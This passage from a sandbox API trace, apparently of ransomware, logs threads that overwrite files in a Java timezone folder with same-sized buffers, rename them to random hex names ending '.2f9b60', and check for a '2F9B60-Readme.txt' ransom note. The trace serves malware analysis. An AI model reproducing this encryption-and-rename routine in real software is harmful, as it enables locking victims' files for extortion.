Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x47ed6c4a [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x2a8d8ef6 [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x2b4cfe97 [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x423ddcd8 [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x58973795 [0167.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18d20 [0167.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce599b0 [0167.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18a20 [0167.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce599b0) returned 1 [0167.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18d50) returned 1 [0167.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c330 [0167.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce599b0 [0167.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42916280 [0167.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42919e90 [0167.899] ReadFile (in: hFile=0x2c28, lpBuffer=0x42916280, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x3811f6b0, lpOverlapped=0x0 | out: lpBuffer=0x42916280*, lpNumberOfBytesRead=0x3811f6b0*=0x41, lpOverlapped=0x0) returned 1 [0167.900] SetFilePointerEx (in: hFile=0x2c28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.900] WriteFile (in: hFile=0x2c28, lpBuffer=0x42919e90*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x3811f6b4, lpOverlapped=0x0 | out: lpBuffer=0x42919e90*, lpNumberOfBytesWritten=0x3811f6b4*=0x41, lpOverlapped=0x0) returned 1 [0180.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb060 [0180.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaee0 [0180.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaee0) returned 1 [0180.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42919e90) returned 1 [0180.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42916280) returned 1 [0180.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce599b0) returned 1 [0180.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c330) returned 1 [0180.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cddaee0 [0180.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c330 [0180.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce599b0 [0180.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddae50 [0180.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddae50) returned 1 [0180.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cddae50 [0180.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddae80 [0180.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad90 [0180.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddad90) returned 1 [0180.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce599b0) returned 1 [0180.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c330) returned 1 [0180.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x423a91b0 [0180.465] SetFilePointerEx (in: hFile=0x2c28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.465] WriteFile (in: hFile=0x2c28, lpBuffer=0x423a91b0*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x3811f7d0, lpOverlapped=0x0 | out: lpBuffer=0x423a91b0*, lpNumberOfBytesWritten=0x3811f7d0*=0xfe, lpOverlapped=0x0) returned 1 [0184.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0184.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0184.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c30 [0184.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c30) returned 1 [0184.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82d740 [0184.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c30 [0184.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c00 [0184.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c00) returned 1 [0184.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0184.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0184.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x42c18c00 [0184.364] sprintf (in: _Dest=0x42c18c00, _Format="%c%c" | out: _Dest="fd") returned 2 [0184.364] sprintf (in: _Dest=0x42c18c02, _Format="%c%c" | out: _Dest="6e") returned 2 [0184.364] sprintf (in: _Dest=0x42c18c04, _Format="%c%c" | out: _Dest="9a") returned 2 [0184.364] sprintf (in: _Dest=0x42c18c06, _Format="%c%c" | out: _Dest="2d") returned 2 [0184.364] sprintf (in: _Dest=0x42c18c08, _Format="%c%c" | out: _Dest="5a") returned 2 [0184.364] sprintf (in: _Dest=0x42c18c0a, _Format="%c%c" | out: _Dest="f3") returned 2 [0184.364] sprintf (in: _Dest=0x42c18c0c, _Format="%c%c" | out: _Dest="61") returned 2 [0184.364] sprintf (in: _Dest=0x42c18c0e, _Format="%c%c" | out: _Dest="dd") returned 2 [0184.364] sprintf (in: _Dest=0x42c18c10, _Format="%c%c" | out: _Dest="84") returned 2 [0184.364] sprintf (in: _Dest=0x42c18c12, _Format="%c%c" | out: _Dest="06") returned 2 [0184.364] sprintf (in: _Dest=0x42c18c14, _Format="%c%c" | out: _Dest="59") returned 2 [0184.364] sprintf (in: _Dest=0x42c18c16, _Format="%c%c" | out: _Dest="3e") returned 2 [0184.364] RtlInitAnsiString (in: DestinationString=0x3811f848, SourceString="fd6e9a2d5af361dd8406593e" | out: DestinationString="fd6e9a2d5af361dd8406593e") [0184.364] RtlAnsiStringToUnicodeString (in: DestinationString=0x3811f818, SourceString="fd6e9a2d5af361dd8406593e", AllocateDestinationString=1 | out: DestinationString="fd6e9a2d5af361dd8406593e") returned 0x0 [0192.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f130 [0192.098] RtlFreeAnsiString (AnsiString="f") [0192.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c00) returned 1 [0192.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d740) returned 1 [0192.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c30) returned 1 [0192.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a91b0) returned 1 [0192.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddae50) returned 1 [0192.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddae80) returned 1 [0192.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaee0) returned 1 [0192.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb060) returned 1 [0192.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18de0) returned 1 [0192.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18d20) returned 1 [0192.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18a20) returned 1 [0192.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ced3460 [0192.104] wcscat (in: _Dest=0x1ced3460, _Source="fd6e9a" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fd6e9a") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fd6e9a" [0192.104] wcscat (in: _Dest=0x1ced3460, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fd6e9a.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fd6e9a.2f9b60" [0192.104] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fd6e9a.2f9b60", NtPathName=0x3811f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fd6e9a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x42c313f0 Thread: id = 2828 os_tid = 0x1a58 [0160.249] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kinshasa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\kinshasa")) returned 0x20 [0165.814] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kinshasa", dwFileAttributes=0x20) returned 1 [0167.073] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kinshasa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\kinshasa"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c70 [0168.137] GetFileSizeEx (in: hFile=0x2c70, lpFileSize=0x3bc5fa80 | out: lpFileSize=0x3bc5fa80*=27) returned 1 [0168.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a0d0 [0168.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a160 [0168.138] NtQuerySystemTime (in: CurrentTime=0x3bc5f940 | out: CurrentTime=0x3bc5f940*=132462177732610000) returned 0x0 [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x4427993d [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x18cc2915 [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x1b49e399 [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x238b50c7 [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x1d0056f [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x3d757d3d [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x691c7b0 [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x13d13a74 [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x5ac00b07 [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x4b1e677f [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x6ae222c [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x249d134d [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x66a6f96e [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x118c05b2 [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x63b2ba02 [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x5f5f9df5 [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x419a150e [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0xa81efc6 [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0xec3bcc [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x45b931aa [0168.138] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x19327244 [0168.139] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x5576dbf5 [0168.139] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x3f34dbc3 [0168.139] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x7d6eeb91 [0168.139] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x52c019df [0168.139] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x54ffc02f [0168.139] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x56f29560 [0168.139] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x2dd17d60 [0168.139] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x504ee77d [0168.139] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x3868d679 [0168.139] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x299e4e2f [0168.139] RtlRandomEx (in: Seed=0x3bc5f930 | out: Seed=0x3bc5f930) returned 0x43cc36e [0168.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a190 [0168.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5adb0 [0168.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a1c0 [0168.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5adb0) returned 1 [0168.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a160) returned 1 [0168.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c7e0 [0168.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5adb0 [0168.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42475d20 [0168.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42479930 [0168.151] ReadFile (in: hFile=0x2c70, lpBuffer=0x42475d20, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x3bc5f930, lpOverlapped=0x0 | out: lpBuffer=0x42475d20*, lpNumberOfBytesRead=0x3bc5f930*=0x1b, lpOverlapped=0x0) returned 1 [0168.152] SetFilePointerEx (in: hFile=0x2c70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.152] WriteFile (in: hFile=0x2c70, lpBuffer=0x42479930*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x3bc5f934, lpOverlapped=0x0 | out: lpBuffer=0x42479930*, lpNumberOfBytesWritten=0x3bc5f934*=0x1b, lpOverlapped=0x0) returned 1 [0183.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30bc0 [0183.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30d40 [0183.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30d40) returned 1 [0183.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42479930) returned 1 [0183.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42475d20) returned 1 [0183.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5adb0) returned 1 [0183.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c7e0) returned 1 [0183.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42d30d40 [0183.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c7e0 [0183.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5adb0 [0183.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30d70 [0183.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30d70) returned 1 [0183.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42d30d70 [0183.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30da0 [0183.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30dd0 [0183.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30dd0) returned 1 [0183.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5adb0) returned 1 [0183.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c7e0) returned 1 [0183.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x4311a720 [0187.338] SetFilePointerEx (in: hFile=0x2c70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.339] WriteFile (in: hFile=0x2c70, lpBuffer=0x4311a720*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3bc5fa50, lpOverlapped=0x0 | out: lpBuffer=0x4311a720*, lpNumberOfBytesWritten=0x3bc5fa50*=0x102, lpOverlapped=0x0) returned 1 [0201.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0201.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0201.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b8d0 [0201.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b8d0) returned 1 [0201.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f8740 [0201.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b8d0 [0201.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b810 [0201.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b810) returned 1 [0201.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0201.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0201.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x42c1b810 [0201.834] sprintf (in: _Dest=0x42c1b810, _Format="%c%c" | out: _Dest="1d") returned 2 [0201.834] sprintf (in: _Dest=0x42c1b812, _Format="%c%c" | out: _Dest="72") returned 2 [0201.834] sprintf (in: _Dest=0x42c1b814, _Format="%c%c" | out: _Dest="d0") returned 2 [0201.834] sprintf (in: _Dest=0x42c1b816, _Format="%c%c" | out: _Dest="22") returned 2 [0201.834] sprintf (in: _Dest=0x42c1b818, _Format="%c%c" | out: _Dest="e7") returned 2 [0201.834] sprintf (in: _Dest=0x42c1b81a, _Format="%c%c" | out: _Dest="cd") returned 2 [0201.834] sprintf (in: _Dest=0x42c1b81c, _Format="%c%c" | out: _Dest="4c") returned 2 [0201.834] sprintf (in: _Dest=0x42c1b81e, _Format="%c%c" | out: _Dest="e3") returned 2 [0201.834] sprintf (in: _Dest=0x42c1b820, _Format="%c%c" | out: _Dest="3c") returned 2 [0201.834] sprintf (in: _Dest=0x42c1b822, _Format="%c%c" | out: _Dest="cd") returned 2 [0201.834] sprintf (in: _Dest=0x42c1b824, _Format="%c%c" | out: _Dest="8f") returned 2 [0201.834] sprintf (in: _Dest=0x42c1b826, _Format="%c%c" | out: _Dest="fb") returned 2 [0201.834] sprintf (in: _Dest=0x42c1b828, _Format="%c%c" | out: _Dest="9d") returned 2 [0201.834] sprintf (in: _Dest=0x42c1b82a, _Format="%c%c" | out: _Dest="6f") returned 2 [0201.834] sprintf (in: _Dest=0x42c1b82c, _Format="%c%c" | out: _Dest="2f") returned 2 [0201.834] sprintf (in: _Dest=0x42c1b82e, _Format="%c%c" | out: _Dest="14") returned 2 [0201.834] RtlInitAnsiString (in: DestinationString=0x3bc5fac8, SourceString="1d72d022e7cd4ce33ccd8ffb9d6f2f14" | out: DestinationString="1d72d022e7cd4ce33ccd8ffb9d6f2f14") [0201.834] RtlAnsiStringToUnicodeString (in: DestinationString=0x3bc5fa98, SourceString="1d72d022e7cd4ce33ccd8ffb9d6f2f14", AllocateDestinationString=1 | out: DestinationString="1d72d022e7cd4ce33ccd8ffb9d6f2f14") returned 0x0 [0201.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce5bcf0 [0201.835] wcscat (in: _Dest=0x202a4650, _Source="1d72d022" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1d72d022") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1d72d022" [0201.835] wcscat (in: _Dest=0x202a4650, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1d72d022.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1d72d022.2f9b60" [0201.835] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1d72d022.2f9b60", NtPathName=0x3bc5fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1d72d022.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431a7d20 [0237.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a7d20) returned 1 [0237.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320d970) returned 1 [0237.700] NtQueryInformationFile (in: FileHandle=0x2c70, IoStatusBlock=0x3bc5fad8, FileInformation=0x3bc5fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3bc5fad8, FileInformation=0x3bc5fae8) returned 0x0 [0237.700] NtSetInformationFile (FileHandle=0x2c70, IoStatusBlock=0x3bc5fad8, FileInformation=0x3bc5fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4650) returned 1 [0237.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bcf0) returned 1 [0237.954] FlushFileBuffers (hFile=0x2c70) returned 1 [0238.246] CloseHandle (hObject=0x2c70) returned 1 [0241.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a44f0 [0241.695] wcscpy (in: _Dest=0x431a44f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.695] wcscat (in: _Dest=0x431a44f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.695] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a44f0) returned 1 [0243.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5e800) returned 1 Thread: id = 2829 os_tid = 0x1a60 [0160.250] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lagos" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\lagos")) returned 0x20 [0165.805] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lagos", dwFileAttributes=0x20) returned 1 [0166.531] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lagos" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\lagos"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c2c [0167.903] GetFileSizeEx (in: hFile=0x2c2c, lpFileSize=0x36b2f940 | out: lpFileSize=0x36b2f940*=65) returned 1 [0167.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18d50 [0167.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18a50 [0167.904] NtQuerySystemTime (in: CurrentTime=0x36b2f800 | out: CurrentTime=0x36b2f800*=132462177730270000) returned 0x0 [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x208d9b78 [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x3540366 [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x110a142e [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x20bf272 [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x3795a0a2 [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x7953a306 [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0xfd97dbd [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x6734b56e [0167.904] RtlRandomEx (in: 